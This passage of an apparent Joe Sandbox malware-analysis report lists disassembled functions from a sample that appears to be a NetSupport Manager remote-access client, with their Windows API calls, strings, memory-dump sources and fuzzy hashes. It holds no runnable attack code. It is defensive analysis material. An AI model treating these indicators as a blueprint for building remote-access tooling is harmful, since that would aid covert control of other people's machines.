Part of subcall function 11043870: _malloc.LIBCMT ref: 110439CC

Strings

IsA(), xrefs: 1104729C, 110472D3, 110472FF, 1104733D
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 11047297, 110472CE, 110472FA, 11047338
SurveyResults, xrefs: 110474E5

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$Message_malloc_strncpy$ErrorExitLastProcessSendTimeoutWindow_memmovewsprintf
String ID: IsA()$SurveyResults$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 3960737985-1318765656
Opcode ID: 6f3482f183dc71e32b0e781e0e1ae71b2587e219f1bd543c2aaaf4bdd4110b9c
Instruction ID: e7dd2455d00588b8b0596ee18c4208b20e6f9302996f578dcf6f33cfb97cf12a
Opcode Fuzzy Hash: 6f3482f183dc71e32b0e781e0e1ae71b2587e219f1bd543c2aaaf4bdd4110b9c
Instruction Fuzzy Hash: 18C1A374E0064A9FDB04DFE4C8D0EEEF7B5BF88308F208168D519AB295DB70A945CB90

Function 1102D1A0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1102D1C0

Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 111603F8
Part of subcall function 111603E3: __CxxThrowException@8.LIBCMT ref: 1116040D
Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 1116041E

_memmove.LIBCMT ref: 1102D24A
_memmove.LIBCMT ref: 1102D26E
_memmove.LIBCMT ref: 1102D2A8
_memmove.LIBCMT ref: 1102D2C4
std::exception::exception.LIBCMT ref: 1102D30E
__CxxThrowException@8.LIBCMT ref: 1102D323

Strings

deque<T> too long, xrefs: 1102D1BB

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: 6f44853749167e6417c702704c1d5fd1f6b6aa11f4fe1b268de19c2d7f3316e5
Instruction ID: ae58a47b93f5c67beecf59276473b3909c5d487f19c470db74dff325715f4f31
Opcode Fuzzy Hash: 6f44853749167e6417c702704c1d5fd1f6b6aa11f4fe1b268de19c2d7f3316e5
Instruction Fuzzy Hash: DD41A476E00105ABDB04CE68CC81AEEB7FAAF94324F59C669DC09DB344E675EE05C790

Function 11005190 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1100519E
_memset.LIBCMT ref: 110051C0
GetMenuItemID.USER32(?,00000000), ref: 110051D4
CheckMenuItem.USER32(?,00000000,00000000), ref: 11005231
EnableMenuItem.USER32(?,00000000,00000000), ref: 11005247
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005268
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005294

Strings

0, xrefs: 110051CD

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: ed19a4d0eac54c607b6a919a5e70af2297959f222d84ccf27589c69c777b0ba6
Instruction ID: ff6163613c0a8cbc830ef1528835912891ededd95cc8b4eaa22ca2fcf9c2cdf5
Opcode Fuzzy Hash: ed19a4d0eac54c607b6a919a5e70af2297959f222d84ccf27589c69c777b0ba6
Instruction Fuzzy Hash: 71318E70D11219ABEB01DFA4D885BEEBBFCEF46758F008059F951E6240E7759944CB60

Function 1101D1B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D1E0
GetClassInfoExA.USER32(00000000,NSMChatSizeWnd,?), ref: 1101D1FA
_memset.LIBCMT ref: 1101D20A
RegisterClassExA.USER32(?), ref: 1101D24B
CreateWindowExA.USER32(00000000,NSMChatSizeWnd,11194244,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 1101D27E
GetWindowRect.USER32(00000000,?), ref: 1101D28B
DestroyWindow.USER32(00000000), ref: 1101D292

Strings

NSMChatSizeWnd, xrefs: 1101D1EC, 1101D241, 1101D278

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$Class_memset$CreateDestroyInfoRectRegister
String ID: NSMChatSizeWnd
API String ID: 2883038198-4119039562
Opcode ID: 87aebd6e18ee9abdefb850bcd11d4769ee8e47b38e4dbf48374c28c167509a6c
Instruction ID: df00defde950c6a972f57fa33671139d82de9fa74eae4c6bde258e6239c9b3d1
Opcode Fuzzy Hash: 87aebd6e18ee9abdefb850bcd11d4769ee8e47b38e4dbf48374c28c167509a6c
Instruction Fuzzy Hash: C7314DB5D0021DAFDB10DFA5DD84BEEF7B8EB44628F20012EE925B7240D735A905CB64

Function 1103D160 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 98synchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1103D18F
GetModuleFileNameA.KERNEL32(00000000,?,00000125), ref: 1103D1BD
CloseHandle.KERNEL32(?), ref: 1103D25C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 1103D26C
CloseHandle.KERNEL32(?), ref: 1103D279

Strings

" /a, xrefs: 1103D1DF
/247, xrefs: 1103D20A
RunAnnot, xrefs: 1103D177

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$FileModuleNameObjectSingleWait_memset
String ID: /247$" /a$RunAnnot
API String ID: 2581068044-4059077130
Opcode ID: b839e70076fc368ba000d97afe45d019281ed31407febcd3e3d047b5c4491ca4
Instruction ID: dc76f3c11fb5ad4c0452055a60ef983052eda761819ccc7684b04031b26646f7
Opcode Fuzzy Hash: b839e70076fc368ba000d97afe45d019281ed31407febcd3e3d047b5c4491ca4
Instruction Fuzzy Hash: 4541C030A04319AFEB11DFA4CC84FDDB7B9EB48704F1080A5E6589B284DB71E944CF90

Function 1100D390 Relevance: 13.6, APIs: 9, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,11195920), ref: 1100D3A4
GetProcAddress.KERNEL32(00000000,11195910), ref: 1100D3B8
GetProcAddress.KERNEL32(00000000,11195900), ref: 1100D3CD
GetProcAddress.KERNEL32(00000000,111958F0), ref: 1100D3E1
GetProcAddress.KERNEL32(00000000,111958E4), ref: 1100D3F5
GetProcAddress.KERNEL32(00000000,111958C4), ref: 1100D40A
GetProcAddress.KERNEL32(00000000,111958A4), ref: 1100D41E
GetProcAddress.KERNEL32(00000000,11195894), ref: 1100D432
GetProcAddress.KERNEL32(00000000,11195884), ref: 1100D447

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 091c258913195d468f5e27a1e6f31e310fab824e6ee381838cf7674ab6c2accf
Instruction ID: 496fda0e4c6754f74ae7accc981fa1b683a1531f66a76574b420f2493807621a
Opcode Fuzzy Hash: 091c258913195d468f5e27a1e6f31e310fab824e6ee381838cf7674ab6c2accf
Instruction Fuzzy Hash: BC318A719222349FE756CBE5CCD5B7AFFE9A748B19B00417AD42083248E7B46840CF90

Function 11113150 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000007), ref: 11113167
SelectObject.GDI32(00000000,00000000), ref: 11113176
SetBrushOrgEx.GDI32(?,00000000,00000000,00000000,?,11119DB4,?,00000001,00000001,00000000,1111E6D7,00000000,?,00000000), ref: 11113181
GetStockObject.GDI32(00000000), ref: 11113189
SelectObject.GDI32(?,00000000), ref: 11113192
GetStockObject.GDI32(0000000D), ref: 11113196
SelectObject.GDI32(00000000,00000000), ref: 1111319F
SelectClipRgn.GDI32(00000000,00000000), ref: 111131B3
SelectClipRgn.GDI32(?,?), ref: 111131D5

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Object$Select$Stock$Clip$Brush
String ID:
API String ID: 2690518013-0
Opcode ID: 03940d1c13920ebdd2799aeba9173fb3b73a5c49d6e66c97bce195a3b1bf9d70
Instruction ID: 6254f714a47a8412abfa64db40702d153c74c152478294c48941108971bda100
Opcode Fuzzy Hash: 03940d1c13920ebdd2799aeba9173fb3b73a5c49d6e66c97bce195a3b1bf9d70
Instruction Fuzzy Hash: CC114C71604214AFE320EFA9CC88F56F7E8AF48714F114529E698DB294C774E840CF60

Function 11027030 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122windowsleepCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11027053
TranslateMessage.USER32(?), ref: 11027081
DispatchMessageA.USER32(?), ref: 1102708B
Sleep.KERNEL32(000003E8), ref: 11027114
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1102717A

Strings

Bridge, xrefs: 11027037
BridgeThread::Attempting to open bridge..., xrefs: 110270CE, 11027116

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$DispatchSleepTranslate
String ID: Bridge$BridgeThread::Attempting to open bridge...
API String ID: 3237117195-3850961587
Opcode ID: 0527f6f062edf77291c750114b7d9886b355368a75c305f9b203373b5eaba6dc
Instruction ID: 926780c6f4d8c8949c1ee256bdfa0d08ed5449f0693c43c0c5ab50156846c558
Opcode Fuzzy Hash: 0527f6f062edf77291c750114b7d9886b355368a75c305f9b203373b5eaba6dc
Instruction Fuzzy Hash: AB41B475D01626DBEB15CBEDCC84EBEBBB9AB54708F900169E92593244E735E500CBA0

Function 110B90A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104timeCOMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(00000000,0000002C,110BFEBC,?,Norm,110BFEBC), ref: 110B90E4
MoveWindow.USER32(00000000,110BFEBC,110BFEBC,110BFEBC,110BFEBC,00000001,?,Norm,110BFEBC), ref: 110B9156
SetTimer.USER32(00000000,0000050D,000007D0,00000000), ref: 110B91B1

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

j CB::OnRemoteSizeNormal(%d, %d, %d, %d), xrefs: 110B9170
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B90CA
m_hWnd, xrefs: 110B90CF
Norm, xrefs: 110B90B0

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$ErrorExitLastMessageMovePlacementProcessTimerwsprintf
String ID: Norm$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$j CB::OnRemoteSizeNormal(%d, %d, %d, %d)$m_hWnd
API String ID: 1092798621-1973987134
Opcode ID: bb4fee7a640cddfa8292c04b347aeb0b9ef3b046aecc10af90a567252941b4bf
Instruction ID: fa08d4082dbdb83dc84805081e5a13701295f49ac71a08f55a689e0031bf859b
Opcode Fuzzy Hash: bb4fee7a640cddfa8292c04b347aeb0b9ef3b046aecc10af90a567252941b4bf
Instruction Fuzzy Hash: 6A411DB5B0020AAFDB08DFA4C895EAEF7B5FF88304F104669E519A7644DB30B945CB90

Function 1112B340 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 1112A9E0: LoadLibraryA.KERNEL32(ws2_32.dll,00000000,?), ref: 1112AA16
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 1112AA33
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 1112AA3D
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,socket), ref: 1112AA4B
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,closesocket), ref: 1112AA59
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSAIoctl), ref: 1112AA67
Part of subcall function 1112A9E0: FreeLibrary.KERNEL32(00000000), ref: 1112AADC

LoadLibraryA.KERNEL32(ws2_32.dll,?,?,00000000), ref: 1112B38A
GetProcAddress.KERNEL32(00000000,ntohl), ref: 1112B3A2
_calloc.LIBCMT ref: 1112B3AD
_free.LIBCMT ref: 1112B44B
FreeLibrary.KERNEL32(00000000), ref: 1112B462

Strings

ntohl, xrefs: 1112B39C
ws2_32.dll, xrefs: 1112B385

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad$_calloc_free
String ID: ntohl$ws2_32.dll
API String ID: 2881363997-4165132517
Opcode ID: a62c3fe90116abab52543d5ca7f352ed5c693b003b457ddebdd86233b9ebb92f
Instruction ID: 62f3d354d7df00a53f20e52f5f0b7ab5f0e2fb1a0c0f97b8c5a029639f714dd3
Opcode Fuzzy Hash: a62c3fe90116abab52543d5ca7f352ed5c693b003b457ddebdd86233b9ebb92f
Instruction Fuzzy Hash: 67318D75E00229CBD7509F64CD80A9AF7B8FF48715F6081A6DC99A7200DF30AA858FD4

Function 1115F100 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetForegroundWindow.USER32(00000000), ref: 1115F12E

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

SystemParametersInfoA.USER32(00002000,00000000,00000001,00000000), ref: 1115F14F
SystemParametersInfoA.USER32(00002001,00000000,00000000,00000000), ref: 1115F15C
SetForegroundWindow.USER32(00000000), ref: 1115F162
SystemParametersInfoA.USER32(00002001,00000000,00000001,00000000), ref: 1115F177

Strings

..\ctl32\wndclass.cpp, xrefs: 1115F112
m_hWnd, xrefs: 1115F117

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

